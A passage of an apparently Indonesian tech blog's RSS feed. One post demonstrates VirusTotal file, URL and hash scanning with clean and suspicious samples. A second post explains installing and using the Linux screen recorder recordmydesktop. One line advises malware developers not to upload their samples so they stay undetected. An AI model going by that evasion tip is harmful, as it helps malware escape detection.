masing-masing.&lt;/p&gt;&lt;p&gt;Virustotal&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; menjadi salah satu website penyedia jasa &lt;em&gt;scanning&lt;/em&gt; virus terbaik karena website tersebut melakukan &lt;em&gt;scanning&lt;/em&gt; dengan menggunakan &lt;strong&gt;lebih dari 50 vendor antivirus&lt;/strong&gt;, termasuk diantaranya adalah Avira, BitDefender, dan Kaspersky.&lt;/p&gt;&lt;p&gt;Pada halaman utama website-nya, Virustotal memiliki 3 opsi &lt;em&gt;scanning&lt;/em&gt;, yaitu opsi &lt;strong&gt;File&lt;/strong&gt;, opsi &lt;strong&gt;URL&lt;/strong&gt;, dan opsi &lt;strong&gt;Search&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Opsi File&lt;a href=&quot;#1-opsi-file&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Opsi &lt;strong&gt;File&lt;/strong&gt; digunakan untuk melakukan &lt;em&gt;scanning&lt;/em&gt; terhadap suatu file, apapun format filenya. File yang dimaksud dapat berupa file office (doc, ppt, xlsx, pdf), file program apapun sistem operasinya (exe, apk, sh, dll), dan file-file lainnya. Sebagai catatan, file yang diunggah ke Virustotal dibatasi ukurannya hingga &lt;strong&gt;maksimal 650 MB&lt;/strong&gt;. Artinya, file dengan ukuran lebih besar dari 650 MB tidak dapat diunggah ke website tersebut.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;349&quot; src=&quot;/_astro/ss1.LHRA8-M5_2m3w7w.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Opsi URL&lt;a href=&quot;#2-opsi-url&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Opsi &lt;strong&gt;URL&lt;/strong&gt; digunakan untuk melakukan &lt;em&gt;scanning&lt;/em&gt; terhadap suatu link atau URL (&lt;em&gt;Uniform Resource Locator&lt;/em&gt;). Semua link (yang kita anggap berbahaya atau memiliki virus) dapat di-&lt;em&gt;copy-paste&lt;/em&gt; di menu ini.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;712&quot; height=&quot;311&quot; src=&quot;/_astro/ss2.D_L6tldl_20R4aR.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Opsi Search&lt;a href=&quot;#3-opsi-search&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Opsi &lt;strong&gt;Search&lt;/strong&gt; sebetulnya mirip dengan opsi &lt;strong&gt;URL&lt;/strong&gt;, namun, secara lebih luas, opsi ini dapat digunakan untuk melakukan &lt;em&gt;scanning&lt;/em&gt; terhadap sebuah domain, &lt;em&gt;IP Address&lt;/em&gt;, dan juga file hash.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;712&quot; height=&quot;369&quot; src=&quot;/_astro/ss3.CYjkb3ze_Z2hKneL.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Demo&lt;a href=&quot;#demo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pada demo kali ini, saya akan melakukan &lt;em&gt;scanning&lt;/em&gt; pada setiap opsi yang ada di Virustotal, mulai dari opsi file, opsi url, dan opsi search. Setiap demo akan terdiri dari 2 skenario, yaitu &lt;strong&gt;skenario bersih&lt;/strong&gt; (non-virus) dan &lt;strong&gt;skenario kotor&lt;/strong&gt; (virus).&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Opsi File&lt;a href=&quot;#1-opsi-file-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;649&quot; height=&quot;451&quot; src=&quot;/_astro/ss4.DK5p77w0_2hTYpT.webp&quot; /&gt;
Seperti terlihat pada &lt;em&gt;screenshot&lt;/em&gt; tersebut, saya sudah memiliki 2 file:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;file &lt;em&gt;&lt;strong&gt;installer&lt;/strong&gt;&lt;/em&gt; Whatsapp GB untuk Android (dapat dilihat ekstensi filenya .apk), yang merupakan file (yang saya asumsikan) bervirus karena saya mendapatkannya tidak dari website resmi alias Playstore, melainkan dari website bajakan berikut: &lt;a href=&quot;https://android62.com/download/gb-whatsapp/&quot; target=&quot;_blank&quot;&gt;https://android62.com/download/gb-whatsapp/&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;file &lt;em&gt;&lt;strong&gt;installer&lt;/strong&gt;&lt;/em&gt; Telegram untuk Windows (dapat dilihat ekstensi filenya .exe), yang merupakan file (yang saya asumsikan) tidak bervirus karena saya mengunduhnya langsung dari website resmi telegram di: &lt;a href=&quot;https://desktop.telegram.org/&quot; target=&quot;_blank&quot;&gt;https://desktop.telegram.org/&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;section&gt;&lt;h4&gt;Skenario Bersih&lt;a href=&quot;#skenario-bersih&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pada skenario bersih, saya akan menggunakan file &lt;em&gt;installer&lt;/em&gt; Telegram. Cara untuk melakukan &lt;em&gt;upload&lt;/em&gt;-nya cukup sederhana, yaitu kita tinggal meng-klik tombol &lt;strong&gt;choose file&lt;/strong&gt;, kemudian pilih file yang akan diunggah.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1321&quot; height=&quot;849&quot; src=&quot;/_astro/ss5.Pr-1Odmw_ZvQum0.webp&quot; /&gt;
Berdasarkan &lt;em&gt;screenshot&lt;/em&gt; tersebut, dapat terlihat kesimpulannya, yaitu 0/69 dengan warna hijau total, yang artinya, 69 antivirus yang sudah melakukan &lt;em&gt;scanning&lt;/em&gt; tidak mendapatkan tanda-tanda file &lt;em&gt;installer&lt;/em&gt; Telegram tersebut mengandung virus.&lt;/p&gt;&lt;p&gt;Beberapa informasi lainnya yang tampak, misalnya &lt;strong&gt;Last Modification Date 11 Minutes ago&lt;/strong&gt; artinya, seseorang sudah lebih dulu melakukan upload file serupa ke Virustotal 11 menit yang lalu.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Skenario Kotor&lt;a href=&quot;#skenario-kotor&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pada skenario kotor, saya akan menggunakan file &lt;em&gt;installer&lt;/em&gt; Whatsapp GB.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1321&quot; height=&quot;850&quot; src=&quot;/_astro/ss6.9yJW1Fe8_V3e.webp&quot; /&gt;
Berdasarkan &lt;em&gt;screenshot&lt;/em&gt; tersebut, dapat dilihat kesimpulannya, yaitu 4/58 vendor antivirus mengatakan bahwa file &lt;em&gt;installer&lt;/em&gt; Whatsapp GB tersebut mengandung virus. Adapun vendor yang dimaksud ada &lt;strong&gt;Avast-Mobile&lt;/strong&gt;, &lt;strong&gt;Symantec Mobile Insight&lt;/strong&gt;, &lt;strong&gt;BitDefenderFalx&lt;/strong&gt;, dan &lt;strong&gt;Tencet&lt;/strong&gt;. Melihat &lt;strong&gt;Last Modification Date&lt;/strong&gt;-nya, kita juga tahu bahwa file ini sudah pernah diunggah ke Virustotal 6 hari yang lalu.&lt;/p&gt;&lt;p&gt;Dengan melihat laporan Virustotal tersebut, sudah selayaknya kita tidak menggunakan file &lt;em&gt;installer&lt;/em&gt; tersebut untuk di-&lt;em&gt;install&lt;/em&gt; di &lt;em&gt;smartphone&lt;/em&gt; Android kita.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Opsi URL&lt;a href=&quot;#2-opsi-url-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;445&quot; src=&quot;/_astro/ss7.DKqnTo9r_1WS79R.webp&quot; /&gt;
Seperti terlihat pada &lt;em&gt;screenshot&lt;/em&gt; tersebut, saya sudah memiliki 2 target URL yang akan diuji coba:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;URL &lt;a href=&quot;https://www.instagram.com&quot; target=&quot;_blank&quot;&gt;https://www.instagram.com&lt;/a&gt; yang (saya asumsikan) bersih karena memang umum digunakan oleh banyak orang.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;URL &lt;a href=&quot;https://www.bagas31.info&quot; target=&quot;_blank&quot;&gt;https://www.bagas31.info&lt;/a&gt; yang sebetulnya adalah website software bajakan yang saya cari random di internet sehingga website tersebut (saya anggap) kotor.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Mari kita uji coba…&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Skenario Bersih&lt;a href=&quot;#skenario-bersih-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pada skenario bersih, saya akan mencoba menginputkan link url dari Instagram:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1316&quot; height=&quot;855&quot; src=&quot;/_astro/ss8.CCWMWSN5_Z2rUcAF.webp&quot; /&gt;
Bersih, 0/93 vendor tidak ada yang mengatakan link tersebut mengandung virus atau malware. Seseorang juga baru mengecek link tersebut sekitar 3 jam yang lalu.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Skenario Kotor&lt;a href=&quot;#skenario-kotor-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pada skenario kotor, saya akan menginputkan link kedua, yaitu link software bajakan:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1321&quot; height=&quot;852&quot; src=&quot;/_astro/ss9.rYxZJtmR_2tyKQf.webp&quot; /&gt;
Kotor, karena setidaknya ada 4/92 vendor antivirus bilang bahwa link tersebut mengandung virus. Seseorang ternyata ada yang sudah lebih dahulu menganalisis link tersebut sejak kira-kira 25 hari yang lalu.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Opsi Search&lt;a href=&quot;#3-opsi-search-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1312&quot; height=&quot;274&quot; src=&quot;/_astro/ss10.BfwVlUe-_26V1pl.webp&quot; /&gt;
Seperti terlihat pada &lt;em&gt;screenshot&lt;/em&gt;, saya akan menggunakan 2 aplikasi yang saya gunakan sebelumnya di Opsi File, yaitu file &lt;em&gt;installer&lt;/em&gt; Telegram dan &lt;em&gt;installer&lt;/em&gt; Whatsapp GB. Hanya saja, kali ini, yang akan saya gunakan adalah hash dari kedua file tersebut. Dengan kata lain, melalui hash (algoritma &lt;strong&gt;sha 256&lt;/strong&gt;) file tersebut, saya dapat mengetahui apakah file tersebut mengandung bersih atau kotor.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Hash file (SHA 256)&lt;/strong&gt; &lt;em&gt;installer&lt;/em&gt; Telegram: d39cef61102e25977d98bd2c5f06c2b0fd30c93589544493233be428f094794e&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Hash file (SHA256)&lt;/strong&gt; &lt;em&gt;installer&lt;/em&gt; Whatsapp GB: 3c818d86eb7cad3bba434b4e02e39403f0a73d14eee4d3ca8d924a5bbe1a7f84&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Skenario Bersih&lt;a href=&quot;#skenario-bersih-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pada skenario bersih, saya akan menggunakan hash file &lt;em&gt;installer&lt;/em&gt; Telegram.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1333&quot; height=&quot;846&quot; src=&quot;/_astro/ss11.Ai935Saq_1WA8pj.webp&quot; /&gt;
Bersih,…&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Skenario Kotor&lt;a href=&quot;#skenario-kotor-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pada skenario kotor, saya akan menggunakan hash file &lt;em&gt;installer&lt;/em&gt; Whatsapp GB.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1326&quot; height=&quot;841&quot; src=&quot;/_astro/ss12.C0Pjk_aV_ZEiX5o.webp&quot; /&gt;
Kotor,…&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Catatan-catatan&lt;a href=&quot;#catatan-catatan&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Website Virustotal ini akan sangat membantu untuk memutuskan apakah suatu file mengandung virus atau tidak. Jika suatu program atau aplikasi (seperti aplikasi Whatsapp GB yang sudah saya uji tadi) diketahui memiliki virus, maka, kita secara bijak dapat memutuskan untuk tidak menginstall program tersebut di device kita. Atau jika kita mengetahui suatu link dikatakan mengandung virus, kita juga akan hati-hati untuk mengunjungi link tersebut.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;File ataupun link yang sudah diunggah atau diupload ke Virustotal akan tersimpan di database Virustotal. Dengan kata lain, jika kita sedang melakukan pembuatan atau pengembangan malware untuk keperluan Cyber Security, atau alasan lainnya yang mengharuskan file atau program tersebut untuk tidak ter-detect sebagai malware, maka sebaiknya tidak mengupload file atau program tersebut ke Virustotal.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tidak ada hasil karya manusia yang sempurna, tidak terkecuali Virustotal ini. Artinya, silakan gunakan website ini dengan sebaik-baiknya sebagai alat pembantu membuat keputusan terhadap suatu file atau link, tetapi jangan terlalu bergantung pada Virustotal. Jika Anda dapat melakukan analisis malware sendiri, saya kira itu akan lebih baik. Satu lagi yang penting, &lt;strong&gt;saya tidak disponsori oleh Virustotal&lt;/strong&gt;, jadi, sekali lagi, silakan gunakan website Virustotal sesuai fungsinya tapi jangan bergantung padanya!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Salam damai,
Sampai jumpa lagi!&lt;/p&gt;&lt;p&gt;😄&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.virustotal.com/gui/home/url&quot; target=&quot;_blank&quot;&gt;https://www.virustotal.com/gui/home/url&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Recordmydesktop - Screen Recorder based on CLI</title><link>https://shangdi.github.io/posts/tech/recordmydesktop/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/recordmydesktop/</guid><description>A simple command line tool that performs the basic tasks of capturing and encoding.</description><pubDate>Fri, 08 Mar 2024 07:55:26 GMT</pubDate><content:encoded>&lt;p&gt;Tepat pada tanggal 10 Oktober 2023 lalu, saya membuat tutorial merekam layar (&lt;em&gt;screen recorder&lt;/em&gt;) desktop menggunakan program ffmpeg.
Hanya saja, hingga saat ini, ada dua kelemahan ffmpeg yang belum dapat saya temukan solusinya ketika berbicara tentang dekstop screen recorder.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FFmpeg belum bisa merekam satu window spesifik&lt;/li&gt;
&lt;li&gt;FFmpeg belum bisa merekam area layar tertentu&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nah, beberapa pekan lalu, saya menemukan program sederhana yang dapat men-&lt;em&gt;cover&lt;/em&gt; kelemahan ffmpeg ini, yaitu &lt;strong&gt;recordmydesktop&lt;/strong&gt;. Sebetulnya, saya menemukan program ini di Kali Linux, ketika saya
juga sedang ingin melakukan rekaman layar, dan ketika saya ketikkan ‘record’ di menu, tampillah program ini. Ketika saya coba, ternyata program kecil ini dapat membantu dan memudahkan saya membuat
&lt;em&gt;screen recorder&lt;/em&gt; ketika sedang membuat tutorial atau &lt;em&gt;walkthrough&lt;/em&gt; seperti ini.&lt;/p&gt;
&lt;p&gt;Program &lt;strong&gt;recordmydesktop&lt;/strong&gt; ini ada di beberapa &lt;em&gt;repository&lt;/em&gt;, yang sudah saya cek di:&lt;/p&gt;
&lt;section&gt;&lt;h3&gt;1. Debian&lt;a href=&quot;#1-debian&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://packages.debian.org/search?keywords=recordmydesktop&amp;amp;searchon=names&amp;amp;suite=stable&amp;amp;section=all&quot; target=&quot;_blank&quot;&gt;recordmydesktop&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Instalasinya,&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;recordmydesktop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;2. Archlinux&lt;a href=&quot;#2-archlinux&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://archlinux.org/packages/?sort=&amp;amp;q=recordmydesktop&amp;amp;maintainer=&amp;amp;flagged=&quot; target=&quot;_blank&quot;&gt;recordmydesktop&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Instalasinya,&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;recordmydesktop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;3. OpenSUSE&lt;a href=&quot;#3-opensuse&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://software.opensuse.org/package/recordmydesktop?search_term=recordmydesktop&quot; target=&quot;_blank&quot;&gt;recordmydesktop&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Instalasinya,&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;zypper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;recordmydesktop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;4. Fedora&lt;a href=&quot;#4-fedora&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://packages.fedoraproject.org/pkgs../images/recordmydesktop/recordmydesktop/&quot; target=&quot;_blank&quot;&gt;recordmydesktop&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Instalasinya,&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dnf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;recordmydesktop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Oke, sebelum kita masuk ke tutorial penggunaannya, kita cari tahu dulu, apa sih program &lt;strong&gt;recordmydesktop&lt;/strong&gt; itu?&lt;/p&gt;&lt;p&gt;Merujuk ke halaman web officialnya, &lt;strong&gt;recordmydesktop&lt;/strong&gt; adalah &lt;em&gt;desktop session recorder&lt;/em&gt; GNU/Linux untuk melakukan penangkapan layar dan juga perekaman audio via audio server seperti
ALSA, OSS, atau JACK.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Pada intinya, program ini dapat membantu kita untuk melakukan rekaman layar secara sederhana karena tentu saja jika dibandingkan dengan perekam layar professional lainnya
seperti OBS Studio jelas kalah .&lt;/p&gt;&lt;p&gt;Kita lanjut ke bagian tutorial. Di sini, saya akan bagi tutorialnya menjadi 3 bagian, yaitu:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Merekam layar &lt;strong&gt;full&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Merekam &lt;strong&gt;sebuah window&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Merekam &lt;strong&gt;daerah layar tertentu&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kita masuk ke bagian pertama…&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;1. Merekam Layar Full&lt;a href=&quot;#1-merekam-layar-full&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Untuk merekam layar penuh, kita hanya perlu menjalankan program &lt;strong&gt;recordmydesktop&lt;/strong&gt; via CLI di terminal&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;recordmydesktop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/full.BFF0l_Tk_1VzDyO.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;2. Merekam Sebuah Window&lt;a href=&quot;#2-merekam-sebuah-window&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Untuk merekam sebuah window, kita terlebih dahulu perlu mengetahui &lt;strong&gt;window id&lt;/strong&gt;-nya terlebih dahulu. Untuk mengetahui window id, kita bisa menggunakan program xwininfo.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xwininfo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, klik window yang ingin direkam. Maka, kita akan mendapatkan id window tersebut.
Sebagai contoh, di sini saya akan merekam window dari aplikasi Krita.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/window.Cs7Y1SOR_1vFyxW.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah mendapatkan window id-nya, sekarang, kita dapat memasukkannya sebagai parameter di &lt;strong&gt;recordmydesktop&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;recordmydesktop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;450&quot; src=&quot;/_astro/ss1.B9ZtgBte_1JeV9h.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Hasilnya adalah sebagai berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;731&quot; src=&quot;/_astro/window-krita.eDKCKX58_Z2i1CLG.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;3. Merekam Daerah Layar Tertentu&lt;a href=&quot;#3-merekam-daerah-layar-tertentu&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Misalnya, saya ingin merekam daerah ini saja…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/ss2.H9pvrj9t_22Fjv2.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk itu, saya akan menggunakan trik, yaitu dengan membuka aplikasi random (dalam case ini Konsole) seukuran dengan daerah yang ingin saya rekam.
Kemudian, nanti kita akan menggunakan ukuran window tersebut untuk diinputkan sebagai parameter pada &lt;strong&gt;recordmydesktop&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/ss3.hXMte0_m_Zs96Ti.webp&quot; /&gt;
Seperti yang tampak pada &lt;em&gt;screenshot&lt;/em&gt; di atas, window id tersebut adalah window id dari Konsole yang ada di belakang (yang &lt;em&gt;background&lt;/em&gt;-nya berwarna hitam dan saya beri tanda ceklis).
